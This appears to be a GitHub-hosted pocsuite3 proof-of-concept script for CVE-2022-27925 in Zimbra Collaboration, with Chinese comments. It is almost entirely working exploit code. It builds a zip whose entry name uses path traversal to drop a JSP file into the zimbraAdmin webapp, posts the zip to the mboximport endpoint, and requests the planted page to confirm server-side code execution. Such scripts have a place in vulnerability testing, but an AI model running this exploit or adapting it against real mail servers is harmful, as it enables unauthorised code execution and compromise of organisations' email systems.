-
Notifications
You must be signed in to change notification settings - Fork 195
/
CVE-2022-27925-路径穿越导致RCE.py
84 lines (74 loc) · 3.37 KB
/
CVE-2022-27925-路径穿越导致RCE.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from collections import OrderedDict
from urllib.parse import urljoin
import re,random,hashlib,base64,os
import zipfile
import io
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, OptString, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
class POC(POCBase):
vulID = '0' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
version = '1' #默认为1
author = [''] # PoC作者的大名
vulDate = '2022-08-29' #漏洞公开的时间,不知道就写今天
createDate = '2022-08-29' # 编写 PoC 的日期
updateDate = '2022-08-29' # PoC 更新的时间,默认和编写时间一样
references = [''] # 漏洞地址来源,0day不用写
name = 'CVE-2022-27925' # PoC 名称
appPowerLink = 'https://blog.zimbra.com' # 漏洞厂商主页地址
appName = 'Zimbra Collaboration' # 漏洞应用名称
appVersion = '''ZCS < 8.8.15 patch 33
ZCS < 9.0.0 patch 26''' # 漏洞影响版本
vulType = VUL_TYPE.UPLOAD_FILES #漏洞类型,类型参考见 漏洞类型规范表
desc = '''
CVE-2022-27925 Zimbra Collaboration 存在路径穿越漏洞最终导致RCE
'''
# 漏洞简要描述
samples = [''] # 测试样列,就是用 PoC 测试成功的网站
install_requires = [''] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
pocDesc = '''
检测:pocsuite -r .\poc++.py -u url(-f url.txt) --verify
'''
category = POC_CATEGORY.EXPLOITS.REMOTE
def buildZip(self):
self.num = random.randint(1000000,9999999)
#print(self.num)
jsp = """<% out.print("{num}");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>""".format(num=self.num)
zip_buffer = io.BytesIO()
zf = zipfile.ZipFile(zip_buffer, 'w')
zf.writestr('../../../../mailboxd/webapps/zimbraAdmin/test{num}.jsp'.format(num=self.num), jsp)
zf.close()
return zip_buffer.getvalue()
def _verify(self):
payload = self.buildZip()
result = {}
headers = {'content-type': 'application/x-www-form-urlencoded'}
url = self.url + '/service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1'
try:
resq = requests.post(url=url,data=payload,headers=headers,timeout=5)
resq2 = requests.get(url=self.url+'/zimbraAdmin/test{num}.jsp'.format(num=self.num))
#print(resq2.text)
if str(self.num) in resq2.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url+'/zimbraAdmin/test{num}.jsp'.format(num=self.num)
except Exception as e:
return
return self.parse_output(result)
def _attack(self):
return self._verify()
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
def _shell(self):
return
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(POC)